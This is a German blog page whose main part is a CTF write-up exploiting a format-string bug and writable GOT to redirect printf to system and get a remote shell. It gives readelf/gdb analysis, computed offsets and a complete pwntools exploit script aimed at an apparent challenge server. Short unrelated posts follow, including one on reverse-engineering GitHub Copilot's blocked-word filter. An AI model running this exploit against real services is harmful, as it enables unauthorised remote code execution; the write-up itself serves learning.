Sammlung der Hinweise

Schauen wir erstmal, was alles auffällig ist und was in der Aufgabe steht.

Aufgabe:

Exploit a binary to gain a remote shell.

Die Zeile, mit der der Server kompiliert wurde, ist in der Datei angegeben:

$ gcc server.c -o server -g -ggdb -Wl,-z,norelro -fstack-protector-all

Das sind aber ganz schön viele Flags! Schauen wir mal nach, was sie alle machen:

-g und -ggdb: "Bitte lass Debug-Symbole in der Executable"
-Wl,-z,norelro: -Wl reicht die danach folgenden Zeichen als Argument an den Linker durch. D. h. unser Linker bekommt -z norelro:
- norelro: Normalerweise ist die RELocation Section auf Readonly. Mit diesen Parameter wird dieser Schutz ausgestellt
-fstack-protector-all: Schaltet Stack-Protection ein, z. B. für Härtung gegen Buffer-Overflows mit irgendwelchen Stack-Guards/Canarys.

Jetzt, wo wir wissen, was die Flags in etwa machen, kompilieren wir mal unsere eigene Server-Executable. Ich füge noch -Wall -Wpedantic hinzu, damit wir vielleicht noch ein paar Warnungen mehr sehen, die uns helfen könnten:

$ gcc server.c -o server2 -g -ggdb -Wl,-z,norelro -fstack-protector-all
server.c: In function ‘main’:
server.c:65:10: warning: format not a string literal and no format arguments [-Wformat-security]
   65 |   printf(inp);
      |          ^~~

Huch, was ist das denn für eine Warnung? Wir haben uns den Code noch gar nicht angeschaut und sehen jetzt schon, dass an einer Stelle ein Buffer direkt an printf übergeben wird. Diese Warnung bekommt man auch, wenn wir das -Wall -Wpedantic weg lassen.

Blicken wir jetzt mal in den Code:

Der dort reingereichte Buffer wird direkt vom User kontrolliert. Vorher wird noch ein bisschen rot13 gemacht und der String umgedreht. Eingelesen wird er über die my_read-Funktion
Die main-Funktion verwendet ausschließlich exit(0), um die Funktion zu verlassen.

Außerdem interessant: Wir bekommen die libc, die auf dem Server liegt, dazu.

Skizzierung des Angriffs

Nehmen wir mal unsere bisherigen Funde und schauen, wie wir dort weiter kommen.

`-fstack-protector-all`

Das soll uns wohl klar machen, dass wir nicht versuchen sollen, den Stack zu überlaufen, um z. B. die Return-Address zu überschreiben.

Dafür spricht auch, dass exit verwendet wird, um das Programm zu beenden (statt zu returnen). Würden wir den Stack zum Überlauf bringen, würde es uns nichts bringen, die Rücksprungadresse zu überschreiben. Die my_read-Funktion sieht auf den ersten Blick auch nicht für Überläufe anfällig aus.

Vielleicht können wir ja Shellcode in den Stack schreiben und dort hinspringen? Dafür müsste der Stack ausführbar sein. Schauen wir mal nach:

$ readelf -l server
Program Headers:
Type           Offset             VirtAddr           PhysAddr           FileSiz            MemSiz              Flags  Align
PHDR           0x0000000000000040 0x0000000000000040 0x0000000000000040 0x00000000000002a0 0x00000000000002a0  R      0x8
INTERP         0x00000000000002e0 0x00000000000002e0 0x00000000000002e0 0x000000000000001c 0x000000000000001c  R      0x1
LOAD           0x0000000000000000 0x0000000000000000 0x0000000000000000 0x0000000000000860 0x0000000000000860  R      0x1000
LOAD           0x0000000000001000 0x0000000000001000 0x0000000000001000 0x0000000000000655 0x0000000000000655  R E    0x1000
LOAD           0x0000000000002000 0x0000000000002000 0x0000000000002000 0x0000000000000208 0x0000000000000208  R      0x1000
LOAD           0x0000000000002208 0x0000000000003208 0x0000000000003208 0x0000000000000298 0x00000000000002c8  RW     0x1000
DYNAMIC        0x0000000000002218 0x0000000000003218 0x0000000000003218 0x00000000000001f0 0x00000000000001f0  RW     0x8
NOTE           0x0000000000000300 0x0000000000000300 0x0000000000000300 0x0000000000000020 0x0000000000000020  R      0x8
NOTE           0x0000000000000320 0x0000000000000320 0x0000000000000320 0x0000000000000044 0x0000000000000044  R      0x4
GNU_PROPERTY   0x0000000000000300 0x0000000000000300 0x0000000000000300 0x0000000000000020 0x0000000000000020  R      0x8
GNU_EH_FRAME   0x0000000000002068 0x0000000000002068 0x0000000000002068 0x0000000000000054 0x0000000000000054  R      0x4
GNU_STACK      0x0000000000000000 0x0000000000000000 0x0000000000000000 0x0000000000000000 0x0000000000000000  RW     0x10

Die unterste Zeile zeigt: Nein, leider ist der Stack nicht ausführbar.

`norelro`

Stattdessen sieht es so aus, als würde man uns sehr doll hinten, irgendwas mit den Relocation-Sections zu machen. Das Readonly-Flag wird extra entfernt. Wir sollen diese Gegebenheit wohl ausnutzen.

`printf`

Der an das printf übergebene Buffer deutet auf eine Format-String-Attacke hin. Mit dem %n können wir an bestimmte Adressen im Speicher schreiben. Was können wir denn so beschreiben?

$ readelf -S server
There are 31 section headers, starting at offset 0x3028:
Section Headers:
[Nr] Name              Type             Address           Offset       Size              EntSize          Flags  Link  Info  Align
[ 0]                   NULL             0000000000000000  00000000     0000000000000000  0000000000000000           0     0     0
[ 1] .interp           PROGBITS         00000000000002e0  000002e0     000000000000001c  0000000000000000   A       0     0     1
[ 2] .note.gnu.propert NOTE             0000000000000300  00000300     0000000000000020  0000000000000000   A       0     0     8
[ 3] .note.gnu.build-i NOTE             0000000000000320  00000320     0000000000000024  0000000000000000   A       0     0     4
[ 4] .note.ABI-tag     NOTE             0000000000000344  00000344     0000000000000020  0000000000000000   A       0     0     4
[ 5] .gnu.hash         GNU_HASH         0000000000000368  00000368     0000000000000034  0000000000000000   A       6     0     8
[ 6] .dynsym           DYNSYM           00000000000003a0  000003a0     00000000000001b0  0000000000000018   A       7     1     8
[ 7] .dynstr           STRTAB           0000000000000550  00000550     00000000000000db  0000000000000000   A       0     0     1
[ 8] .gnu.version      VERSYM           000000000000062c  0000062c     0000000000000024  0000000000000002   A       6     0     2
[ 9] .gnu.version_r    VERNEED          0000000000000650  00000650     0000000000000030  0000000000000000   A       7     1     8
[10] .rela.dyn         RELA             0000000000000680  00000680     0000000000000108  0000000000000018   A       6     0     8
[11] .rela.plt         RELA             0000000000000788  00000788     00000000000000d8  0000000000000018  AI       6    24     8
[12] .init             PROGBITS         0000000000001000  00001000     000000000000001b  0000000000000000  AX       0     0     4
[13] .plt              PROGBITS         0000000000001020  00001020     00000000000000a0  0000000000000010  AX       0     0     16
[14] .plt.got          PROGBITS         00000000000010c0  000010c0     0000000000000010  0000000000000010  AX       0     0     16
[15] .plt.sec          PROGBITS         00000000000010d0  000010d0     0000000000000090  0000000000000010  AX       0     0     16
[16] .text             PROGBITS         0000000000001160  00001160     00000000000004e5  0000000000000000  AX       0     0     16
[17] .fini             PROGBITS         0000000000001648  00001648     000000000000000d  0000000000000000  AX       0     0     4
[18] .rodata           PROGBITS         0000000000002000  00002000     0000000000000066  0000000000000000   A       0     0     8
[19] .eh_frame_hdr     PROGBITS         0000000000002068  00002068     0000000000000054  0000000000000000   A       0     0     4
[20] .eh_frame         PROGBITS         00000000000020c0  000020c0     0000000000000148  0000000000000000   A       0     0     8
[21] .init_array       INIT_ARRAY       0000000000003208  00002208     0000000000000008  0000000000000008  WA       0     0     8
[22] .fini_array       FINI_ARRAY       0000000000003210  00002210     0000000000000008  0000000000000008  WA       0     0     8
[23] .dynamic          DYNAMIC          0000000000003218  00002218     00000000000001f0  0000000000000010  WA       7     0     8
[24] .got              PROGBITS         0000000000003408  00002408     0000000000000088  0000000000000008  WA       0     0     8
[25] .data             PROGBITS         0000000000003490  00002490     0000000000000010  0000000000000000  WA       0     0     8
[26] .bss              NOBITS           00000000000034a0  000024a0     0000000000000030  0000000000000000  WA       0     0     32
[27] .comment          PROGBITS         0000000000000000  000024a0     000000000000002a  0000000000000001  MS       0     0     1
[28] .symtab           SYMTAB           0000000000000000  000024d0     0000000000000750  0000000000000018          29    46     8
[29] .strtab           STRTAB           0000000000000000  00002c20     00000000000002ee  0000000000000000           0     0     1
[30] .shstrtab         STRTAB           0000000000000000  00002f0e     000000000000011a  0000000000000000           0     0     1
Key to Flags:
  W (write), A (alloc), X (execute), M (merge), S (strings), I (info),
  L (link order), O (extra OS processing required), G (group), T (TLS),
  C (compressed), x (unknown), o (OS specific), E (exclude),
  l (large), p (processor specific)

Wenn das zu viel zu lesen ist, | grep W -B 1 zeigt schnell, dass folgende Sektionen beschreibbar sind:

.init_array: WA
.fini_array: WA
.dynamic: WA
.got: WA
.data: WA
.bss: WA

WA bedeutet hier, dass wir nicht nur schreiben, sondern dort auch allozieren können (was für uns wahrscheinlich irrelevant ist). Das X für Execute fehlt aber bei allen. Das bedeutet wohl für uns, dass wir nicht einfach irgendwo Shellcode rein schreiben und ihn dann ausführen können.

Wenn wir uns jetzt an das norelro zurückerinnern: Das bewirkt in diesem Fall, dass .got beschreibbar ist. Wie es der Zufall will, ist das Beschreiben der GOT-Sektion ein bekannter Angriffsvektor. Das wird dann wohl unser Ziel sein.

Global Offset Table (GOT)

Was macht die GOT denn?

In der GOT sind Verweise auf importierte Funktionen, wie z. B. printf, exit, putc, puts und so weiter.

Gehen wir mal in IDA in die GOT. Über View -> Open Subview -> Segments erhalten wir eine Liste der Sektionen innerhalb der Binary, ähnlich wie mit readelf oben. Mit einem Doppelklick auf .got landen wir schon an der richtigen Stelle:

.got:0000000000003408 ; ===========================================================================
.got:0000000000003408
.got:0000000000003408 ; Segment type: Pure data
.got:0000000000003408 ; Segment permissions: Read/Write
.got:0000000000003408 _got            segment qword public 'DATA' use64
.got:0000000000003408                 assume cs:_got
.got:0000000000003408                 ;org 3408h
.got:0000000000003408 _GLOBAL_OFFSET_TABLE_ dq offset _DYNAMIC
.got:0000000000003410 qword_3410      dq 0                    ; DATA XREF: sub_1020↑r
.got:0000000000003418 qword_3418      dq 0                    ; DATA XREF: sub_1020+6↑r
.got:0000000000003420 puts_ptr        dq offset puts          ; DATA XREF: _puts+4↑r
.got:0000000000003428 __stack_chk_fail_ptr dq offset __stack_chk_fail
.got:0000000000003428                                         ; DATA XREF: ___stack_chk_fail+4↑r
.got:0000000000003430 printf_ptr      dq offset printf        ; DATA XREF: _printf+4↑r
.got:0000000000003438 strcmp_ptr      dq offset strcmp        ; DATA XREF: _strcmp+4↑r
.got:0000000000003440 putc_ptr        dq offset putc          ; DATA XREF: _putc+4↑r
.got:0000000000003448 feof_ptr        dq offset feof          ; DATA XREF: _feof+4↑r
.got:0000000000003450 setvbuf_ptr     dq offset setvbuf       ; DATA XREF: _setvbuf+4↑r
.got:0000000000003458 exit_ptr        dq offset exit          ; DATA XREF: _exit+4↑r
.got:0000000000003460 getc_ptr        dq offset getc          ; DATA XREF: _getc+4↑r
.got:0000000000003468 _ITM_deregisterTMCloneTable_ptr dq offset _ITM_deregisterTMCloneTable
.got:0000000000003468                                         ; DATA XREF: deregister_tm_clones+13↑r
.got:0000000000003470 __libc_start_main_ptr dq offset __libc_start_main
.got:0000000000003470                                         ; DATA XREF: _start+28↑r
.got:0000000000003478 __gmon_start___ptr dq offset __gmon_start__
.got:0000000000003478                                         ; DATA XREF: _init_proc+8↑r
.got:0000000000003480 _ITM_registerTMCloneTable_ptr dq offset _ITM_registerTMCloneTable
.got:0000000000003480                                         ; DATA XREF: register_tm_clones+24↑r
.got:0000000000003488 __cxa_finalize_ptr dq offset __imp___cxa_finalize
.got:0000000000003488                                         ; DATA XREF: __cxa_finalize+4↑r
.got:0000000000003488                                         ; __do_global_dtors_aux+E↑r
.got:0000000000003488 _got            ends
.got:0000000000003488

Hier sind alle libc-Funktionen gelistet, die in dem Programm verwendet werden. Man sieht ganz gut, dass z. B. Offset 0x3430 auf printf der importierten libc zeigt.

Wenn im Programm jetzt z. B. exit(0) steht, wird in die Procedure-Linkage-Table (PLT) gesprungen, welche sich die Adresse der "richtigen" exit-Funktion aus dieser GOT holt. Wir werden genau dieses Verhalten später sehen, wenn wir mit gdb durchsteppen. Die PLT fungiert hier als eine indirektion, die wir quasi nicht beachten müssen, solange wie die richtige Adresse in die GOT schreiben. Die PLT selbst können wir nicht beschreiben. Mehr Infos zu PLT/GOT hier.

Wir können also an eine beliebige Stelle/Funktion springen, indem wir einfach die Zieladresse z. B. in den Eintrag für exit schreiben. Wenn wir dann in dem Programm zu der Stelle kommen, die exit(0) aufruft, wird letztendlich auf unsere Stelle gesprungen.

Shell spawnen

An beliebige Adressen springen zu können, ist schon mal ganz gut. Aber wohin wollen wir springen?

Um eine Shell zu spawnen, kann man nicht nur selbst-injizierten Shellcode ausführen. Wir können auch die libc verwenden und z. B. system(3) oder execve(2) aufrufen.

Wenn wir also die Adresse dieser Funktionen hätten, könnten wir die GOT so überschreiben, dass wir zu diesen Funktionen springen. Welche Funktion können wir als Ziel nehmen?

`int execve(const char pathname, char const argv[], char *const envp[]);`

Um execve aufrufen zu können, müssten wir auch die geforderte Parameter an die Funktion übergeben. Da wir einen bestehenden Funktionsaufruf überschreiben, müsste diese Funktion auch die Parameter schon "richtig" nehmen. Für argv und envp könnte man null noch verkraften, aber wenn die Calling-Convention nicht eingehalten wird, sieht das schlecht aus.

Stellen wir execve mal hinten an.

`int system(const char *command);`

system nimmt einen Parameter, das auszuführende Command, welches als Argument an /bin/sh -c übergeben wird.

Zufällig nimmt printf auch einen Parameter (die Variadic-Arguments dahinter können wir auch ignorieren). Es sieht also so aus, als könnten wir den printf-Aufruf überschreiben und durch system ersetzen. Wenn wir das machen würden würde dann die Nutzereingabe aus dem my_read direkt (mit etwas rot13) an sh -c übergeben werden -- quasi eine Shell also!

Zusammenfassung

Wir werden versuchen, den Eintrag von printf in der GOT so umzuschreiben, dass er auf system zeigt. Dadruch sollten wir eine Shell bekommen.

Exploitation

Versuchen wir das Ganze mal. Was benötigen wir denn, um unseren Exploit zu fahren?

Die GOT befindet sich in unserer Binary. Konkret: Wir wollen an Offset 0x3430 unserer Binary schreiben.
Was wollen wir da hin schreiben? Die Adresse von system in unserer libc. Die befindet sich an Offset 0x55410 in der libc, die sie uns mitgeliefert haben. Der Offset muss nicht bei jeder libc gleich sein, was wohl der Grund sein wird, dass sie uns diese mitgeliefert haben.

Jetzt müssen wir noch rausfinden, wie die Basisadressen der libc und des Servers zur Laufzeit sind. Wir können zum Testen mal in das /proc-Verzeichnis schauen:

$ cat /proc/`pidof server`/maps
7f3033510000-7f3033535000 r--p 00000000 00:00 97762              /usr/lib/x86_64-linux-gnu/libc-2.31.so
7f3033535000-7f30336ad000 r-xp 00025000 00:00 97762              /usr/lib/x86_64-linux-gnu/libc-2.31.so
7f30336ad000-7f30336f7000 r--p 0019d000 00:00 97762              /usr/lib/x86_64-linux-gnu/libc-2.31.so
7f30336f7000-7f30336f8000 ---p 001e7000 00:00 97762              /usr/lib/x86_64-linux-gnu/libc-2.31.so
7f30336f8000-7f30336fb000 r--p 001e7000 00:00 97762              /usr/lib/x86_64-linux-gnu/libc-2.31.so
7f30336fb000-7f30336fe000 rw-p 001ea000 00:00 97762              /usr/lib/x86_64-linux-gnu/libc-2.31.so
7f30336fe000-7f3033702000 rw-p 00000000 00:00 0
7f3033710000-7f3033712000 rw-p 00000000 00:00 0
7f3033720000-7f3033721000 r--p 00000000 00:00 93615              /usr/lib/x86_64-linux-gnu/ld-2.31.so
7f3033721000-7f3033743000 r-xp 00001000 00:00 93615              /usr/lib/x86_64-linux-gnu/ld-2.31.so
7f3033743000-7f3033744000 r-xp 00023000 00:00 93615              /usr/lib/x86_64-linux-gnu/ld-2.31.so
7f3033744000-7f303374b000 r--p 00024000 00:00 93615              /usr/lib/x86_64-linux-gnu/ld-2.31.so
7f303374b000-7f303374c000 r--p 0002b000 00:00 93615              /usr/lib/x86_64-linux-gnu/ld-2.31.so
7f303374d000-7f303374e000 r--p 0002c000 00:00 93615              /usr/lib/x86_64-linux-gnu/ld-2.31.so
7f303374e000-7f303374f000 rw-p 0002d000 00:00 93615              /usr/lib/x86_64-linux-gnu/ld-2.31.so
7f303374f000-7f3033750000 rw-p 00000000 00:00 0
7f303375c000-7f303375d000 r--p 00000000 00:00 476020             /mnt/c/Temp/challenge/server
7f303375d000-7f303375e000 r-xp 00001000 00:00 476020             /mnt/c/Temp/challenge/server
7f303375e000-7f303375f000 r--p 00002000 00:00 476020             /mnt/c/Temp/challenge/server
7f303375f000-7f3033760000 rw-p 00002000 00:00 476020             /mnt/c/Temp/challenge/server
7ffff4ffc000-7ffff57fc000 rw-p 00000000 00:00 0                  [stack]
7ffff5a3f000-7ffff5a40000 r-xp 00000000 00:00 0                  [vdso]

Unser Server fängt bei 0x7f303375c000 an, die libc bei 0x7f3033510000.

Wir hätten unserer Theorie nach also diese Adressen:

Der relevante GOT-Eintrag sollte bei 0x7f303375c000 + 0x3430 = 0x7f303375f430 liegen
Die system-Funktion sollte bei 0x7f3033510000 + 0x55410 = 0x7f3033565410 zu finden sein.

Als Cross-Check:

Starten wir gdb und schauen nach. Zuerst überprüfen wir den GOT-Eintrag. Dazu schauen wir uns die Main-Funktion an und setzen einen Breakpoint beim printf.

$ sudo gdb ./server `pidof server`
(gdb) disas main
[...]
   0x00007f303375d5a5 <+461>:   mov    eax,0x0
   0x00007f303375d5aa <+466>:   call   0x7f303375d0f0 <printf@plt>
   0x00007f303375d5af <+471>:   mov    rax,QWORD PTR [rip+0x1eea]
[...]
(gdb) br *0x00007f303375d5aa
Breakpoint 1 at 0x7f303375d5aa
# Nutzer macht Eingaben
Breakpoint 1, 0x00007f303375d5aa in main ()
# wir sind jetzt bei printf
(gdb) si # eine instruction weiter springen (in diesem Fall den Call folgen)
0x00007f303375d0f0 in printf@plt ()
# Wir befinden uns jetzt in der PLT und sollten jetzt die Adresse in der GOT als Call sehen
(gdb) disas
Dump of assembler code for function printf@plt:
=> 0x00007f303375d0f0 <+0>:     endbr64
   0x00007f303375d0f4 <+4>:     bnd jmp QWORD PTR [rip+0x2335]        # 0x7f303375f430 <printf@got.plt>
   0x00007f303375d0fb <+11>:    nop    DWORD PTR [rax+rax*1+0x0]
End of assembler dump.

Hier sehen wir in dem Kommentar, den gdb für uns gemacht hat: 0x7f303375f430 <printf@got.plt>. Das ist genau die Adresse, die wir erwartet haben. Der Prozessor wird also dann dort hin springen, wohin der Eintrag in der GOT zeigt, also in das printf der libc. Das passt soweit.

Schauen wir jetzt nach, ob die Adresse für system stimmt. Das machen wir so:

(gdb) disas 0x7f3033565410
Dump of assembler code for function __libc_system:
   0x00007f3033565410 <+0>:     endbr64
   0x00007f3033565414 <+4>:     test   rdi,rdi
   0x00007f3033565417 <+7>:     je     0x7f3033565420 <__libc_system+16>
   0x00007f3033565419 <+9>:     jmp    0x7f3033564e50 <do_system>
   0x00007f303356541e <+14>:    xchg   ax,ax
   0x00007f3033565420 <+16>:    sub    rsp,0x8
   0x00007f3033565424 <+20>:    lea    rdi,[rip+0x162187]        # 0x7f30336c75b2
   0x00007f303356542b <+27>:    call   0x7f3033564e50 <do_system>
   0x00007f3033565430 <+32>:    test   eax,eax
   0x00007f3033565432 <+34>:    sete   al
   0x00007f3033565435 <+37>:    add    rsp,0x8
   0x00007f3033565439 <+41>:    movzx  eax,al
   0x00007f303356543c <+44>:    ret
End of assembler dump.

Und tatsächlich, es ist die richtige Adresse! gdb ist sogar so nett und schreib uns noch das Symbol dazu: __libc_system.

Damit sind wir quasi fertig, oder? Nicht ganz.

Jedes Mal, wenn wir das Programm ausführen, sind die Adressen anders. Also das cat /proc/$(pidof server)/maps von weiter oben wird jedes Mal anders aussehen. Lediglich die Offsets bleiben gleich. Das Prinzip nennt man position-independent execution (PIE). Wir können also nicht einfach die Adressen hartkodieren und sind fertig.

Wir müssen irgendwie an die Basisadressen der libc (oben 0x7f3033510000) und des Servers (0x7f303375c000) im Speicher kommen.

Schauen wir uns mal den Stack an (c% ist die Verschlüsselung von %p):

$ ./server
Welcome to our 86-GBE service!
Enter your message and press return.
Enter quit to exit.
c% c% c% c% c% c% c% c% c% c% c% c% c% c% c% c% c% c% c% c% c% c% c% c% c% c% c% c% c% c% c% c% c% c% c% c% c% c% c% c% c% c% c% c% c% c% c% c% c% c% c% c% c% c% c% c% c% c% c% c% c% c% c% c% c% c% c% c% c% c% c% c% c% c% c% c% c% c% c% c% c% c% c% c%
(nil) 0x25 (nil) (nil) 0x7f3033731d50 0x7ffff57faa78 0x100000340 0x25fb034000000340 0x7d000000fb 0x7025207025207025 0x2520702520702520 0x2070252070252070 0x7025207025207025 0x2520702520702520 0x2070252070252070 0x7025207025207025 0x2520702520702520 0x2070252070252070 0x7025207025207025 0x2520702520702520 0x2070252070252070 0x7025207025207025 0x2520702520702520 0x2070252070252070 0x7025207025207025 0x2520702520702520 0x2070252070252070 0x7025207025207025 0x2520702520702520 0x2070252070252070 0x7025207025207025 0x2520702520702520 0x2070252070252070 0x7025207025207025 0x2520702520702520 0x2070252070252070 0x7025207025207025 0x2520702520702520 0x2070252070252070 0x7025207025207025 0x7f3000702520 0x7ffff57faa70 0x2e9dd1a1f7c9ac00 (nil) 0x7f30335370b3 0x71 0x7ffff57faa78 0x1336f8618 0x7f303375d3d8 0x7f303375d5d0 0x44eb45a416c6b2c2 0x7f303375d160 0x7ffff57faa70 (nil) (nil) 0xbb14af5b45e6b2c2 0xba8b2302f608b2c2 (nil) (nil) (nil) 0x1 0x7ffff57faa78 0x7ffff57faa88 0x7f303374f190 (nil) (nil) 0x7f303375d160 0x7ffff57faa70 (nil) (nil) 0x7f303375d18e 0x7ffff57faa68 0x1c 0x1 0x7ffff57fad0f (nil) 0x7ffff57fad1d 0x7ffff57fad2d 0x7ffff57fad3e 0x7ffff57fb070 0x7ffff57fb084 0x7ffff57fb0a5 0x7ffff57fb0d5 0x7ffff57fb10a

Auffällig:

An Offset 2 (0x25) ist wohl die Größe unseres Buffers.
0x70 0x25 (%p) ist unsere ursprüngliche Eingabe, daher wird das Array input an Offset 10 liegen. Hier muss man auf die Endianess achten.
Danach wohl noch ein paar Pointer, die sich ändern, wenn man das Programm neu startet

Vielleicht ist bei den Pointern ja einer dabei, den wir brauchen. Wenn man eine Funktion mit call aufruft, pusht der Prozessor dabei üblicherweise die Rücksprungadresse auf den Stack. Da die main-Funktion üblicherweise nicht die "richtige" Main-Funktion ist, sondern von der libc gewrappt wird, werden wir sicherlich eine Rücksprungadresse in die libc dort finden.

Vergleichen wir mal die Adressen mit denen, die wir zu den gemappten Sektionen oben haben. Die libc fängt bei 0x7f3033510000 an. Sucht man nach 7f30335, fällt einem 0x7f30335370b3 in's Auge. Das ist die einzige Adresse vom Stack, die 7 hexadezimale Stellen mit der libc-Basisadresse teilt (und damit ist die meisten Stellen). Die wäre also ein guter Kandidat für eine libc-Funktion. Schauen wir mal in gdb nach:

(gdb) disas 0x7f30335370b3
Dump of assembler code for function __libc_start_main:
   0x00007f3033536fc0 <+0>:     endbr64
   0x00007f3033536fc4 <+4>:     push   r15
   0x00007f3033536fc6 <+6>:     xor    eax,eax
# ...

Nice, das ist eine Adresse in der __libc_start_main, also der Funktion, die die main-Funktion wrappt! Nachdem wir dieses Vorgehen ein paar Mal wiederholt haben, können wir bestätigen, dass an Stelle 45 auf dem Stack eine Adresse zu einer Instruction in der __libc_start_main steht und auch immer auf dieselbe Instruction zeigt.

Rechnen wir jetzt 0x7f30335370b3 - 0x7f3033510000, erhalten wir 0x270b3. Das ist der Offset, der diese Rücksprungadresse zum Beginn der libc im Speicher hat.

Schauen wir jetzt, dass wir die Adresse der GOT bekommen. Wir suchen im Stack also den besten Präfix für 0x7f303375c000. Da gibt es ein paar. nach ein par Mal neustarten wissen wir, dass (aus dem Beispiel oben) 0x7f303375d3d8 -- also die 49. Stelle -- (direkt!) auf die Main-Funktion zeigt, die sich in der Server-Binary befindet:

(gdb)
disas 0x7f303375d3d8
Dump of assembler code for function main:
   0x00007f303375d3d8 <+0>:     endbr64
   0x00007f303375d3dc <+4>:     push   rbp
   0x00007f303375d3dd <+5>:     mov    rbp,rsp
# ...

Randnotiz: Das ist an Stelle 49, also weiter unten im Stack als die Rücksprungadresse in die libc. Das kommt wahrscheinlich daher, dass die main-Funktion eine lokale Variable in der __libc_start_main ist.

Wir berechnen wieder das Offset zur Basisadresse: 0x7f303375d3d8 - 0x7f303375c000, erhalten 0x13d8.

Wir können also remote durch Nutzereingaben die Adressen der libc und der Server-Binary herausfinden. Außerdem haben wir feste Offsets und wissen daher, wohin/was wir schreiben müssen.

Bisher haben wir das printf nur verwendet, um Informationen aus dem Prozess zu leaken. Jetzt können wir pritnf auch verwenden, um den Speicher zu beschreiben.

Exploit-Code

Ich verwende die pwntools. Die abstrahieren ein bisschen Glue-Code weg und man kann sich auf das wesentliche konzentrieren. Man kann auch einfach zwischen lokalem und remote-Target wechseln. Für uns ist auch interessant, dass es automatisiert Format-String-Expolits fahren kann. Man kann einfach eine Adresse angeben und die pwntools versuchen automatisiert, diese Adresse zu beschreiben.

#!/usr/bin/env python3

from pwnlib.fmtstr import FmtStr, fmtstr_split, fmtstr_payload
from pwn import *

# rot13 and string-reversal are implemented in a seperate file (not necessary for understanding this exploit)
import bnd_grade_encryption

context.clear(arch = 'amd64', os='linux')

s = remote('152.96.7.8', 4242)
# s = process('./server') # uncomment for local exploitation

# Skip welcome message
s.recvline()
s.recvline()
s.recvline()

def send_payload(payload):
    payload = bnd_grade_encryption.encrypt_or_decrypt(payload)
    s.sendline(payload)
    return s.recvline()

# Fetch pointer to `main` method
main_method_ptr = send_payload(b'%49$p')
main_method_ptr = int(main_method_ptr.decode('ascii'), 0)

server_base = main_method_ptr - 0x13d8

# Fetch pointer to some instruction in `__libc_start_main`
libc_start_main_ptr = send_payload(b'%45$p')
libc_start_main_ptr = int(libc_start_main_ptr.decode('ascii'), 0)
libc_base = libc_start_main_ptr - 0x270b3

libc_system_ptr = libc_base + 0x55410  # Pointer to `system(3)` in current memory

printf_got_entry_addr = server_base + 0x3430  # entry in the GOT we want to rewrite to `system(3)`

print(f'        mod: {hex(server_base)}')
print(f'       main: {hex(main_method_ptr)}')
print(f'  libc_base: {hex(libc_base)}')
print(f'libc_system: {hex(libc_system_ptr)}')
print(f'     printf: {hex(printf_got_entry_addr)}')

print()
print('Press return to get a shell')
input()

# Use format string exploit to path GOT entry
got_patcher = FmtStr(execute_fmt=send_payload)
got_patcher.write(printf_got_entry_addr, libc_system_ptr)
got_patcher.execute_writes()

# Not using s.interactive() because we have weird encoding stuff
i = 'id'
while i != '':
    payload = bnd_grade_encryption.encrypt_or_decrypt(i)
    s.sendline(payload)
    lines = s.recvlines(timeout=2)
    print('\n'.join(map(lambda a: a.decode('ascii'), lines)))
    i = input('$ ')

Anmerkung: Dieses ganze Offset-Berechnen, was ich hier von hand gemacht hab, kann man auch mit den pwntools halbautomatisch machen, indem man sich die ELF-Binary lädt und mit denen rechnet.

Wenn wir den Exploit ausführen:

$ ./a.py

[+] Starting local process './server': pid 5555
        mod: 0x7f9bc6d36000
       main: 0x7f9bc6d373d8
  libc_base: 0x7f9bc6b00000
libc_system: 0x7f9bc6b55410
     printf: 0x7f9bc6d39430

Press return to get a shell

[*] Found format string offset: 10
uid=1000(hacker) gid=1000(hacker) groups=1000(hacker)

$ cat flag.txt
<individuelle flag>

Fertig!

Schlussbemerkungen

Das sieht in diesem Writeup so aus, als wäre das ganz schnell gegangen. Natürlich liegt der Fokus hier auf dem Happy-Path.

Als ich an dem CTF saß, hab ich viele Fehlversuche gehabt und musste sehr viel recherchieren. Nicht, dass hier der Eindruck entsteht, dieser Exploit sei (für mich) einfach gewesen. Es war eher so ein "my first binary exploit".

Für richtige CTFler wäre das hier wahrscheinlich wirklich straight-forward gewesen. Zu Beginn wusste ich aber absolut nichts über den Aufbau von ELF, die Sektionen etc. Jetzt bin ich schlauer!

nikeee — Thu, 02 Sep 2021 00:00:00 GMT

Hier versucht jemand, rauszufinden, welche Wörter bei GitHubs Copilot dazu führen, dass man keine Vorschläge mehr bekommt.

Nach einer kurzen Einleitung geht's dann auch schon los:

So it was time to apply absurd amounts of computer science to the problem. After porting the hash algorithm from Javascript to C, [...] [...] I also started doing some amateur cryptanalysis of the hash function [...]

Geht natürlich noch weiter!

nikeee — Sun, 05 Sep 2021 00:00:00 GMT

Wenn Ihr früher .NET gemacht habt, kennt Ihr vielleicht noch pinvoke.net. Das ist eine Wiki-artige Plattform, auf der im Prinzip Code gesammelt wurde, um mit der Win32-API über P/Invokes (das ist das FFI von .NET) zu arbeiten.

Jedes Programm hatte dann diese P/Invoke-Signaturen zu sich hinkopiert. Es gab magische Konstanten, die von irgendwo herkamen und keinen Namen hatten. Wie das halt so mit altem Code, der durch 3 Generationen weitergereicht wird, so ist.

Vor kurzem bin ich auf dotnet/pinvoke gestoßen. Das ist genau das, nur von Microsoft selbst (+ Community Contributions), als einheitliche Dependency, die über NuGet installierbar ist. Zugegeben NuGet gab's vor 15 Jahren noch nicht wirklich in der Form. Aber genau sowas hätte MS auch schon damals bereitstellen sollen - das hätte alles einfacher gemacht. So ähnlich wie mit dem WinAPICodePack, welches dann auf einmal von allen MS-Seiten verschwand (vermutlich wegen Metro/UWP?).

Jedenfalls dachte ich gerade: Geil! Damit kann ich endlich in meiner Software die handgeschriebenen P/Invokes ablösen und die fehlenden nach upstream contributen. Weniger Wartung für mich und alle haben was davon und so.

Dann habe ich aber diese Issue gesehen. Vor einiger Zeit habe ich hier auch etwas zu den Source-Generators in C# geschrieben. Diese Source-Generators lösen genau diese Library jetzt ab. Und zwar hat das Win32-Team Metadata-Dateien erstellt, aus denen die P/Invokes on-demand erstellt werden können. Dieser Source-Generator verwendet das. Man muss damit also keine Dependencys mit riesigen Win32-Import-Ansammlungen mitschleppen, sondern generiert sich genau die, die man benötigt.

nikeee — Mon, 06 Sep 2021 00:00:00 GMT

Noch ein weiterer "den sollte man kennen"-Blogpost: Today, the Trident Era Ends

Gibt einen Einblick in die Dinge, in denen der IE Vorreiter war, welche tollen Dinge wir dem IE verdanken haben und welche interessanten Sachen sie sich sonst damals ausgedacht haben (u. a. natives HTML-Two-Way-Databinding).

Ein bisschen weniger Inhalt hat The innovations of Internet Explorer.

nikeee — Mon, 06 Sep 2021 00:00:00 GMT

